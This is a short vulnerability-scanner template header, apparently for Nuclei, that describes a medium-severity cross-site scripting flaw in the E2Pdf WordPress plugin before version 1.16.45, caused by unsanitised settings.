  name: E2Pdf < 1.16.45 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    The E2Pdf WordPress plugin before 1.16.45 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.
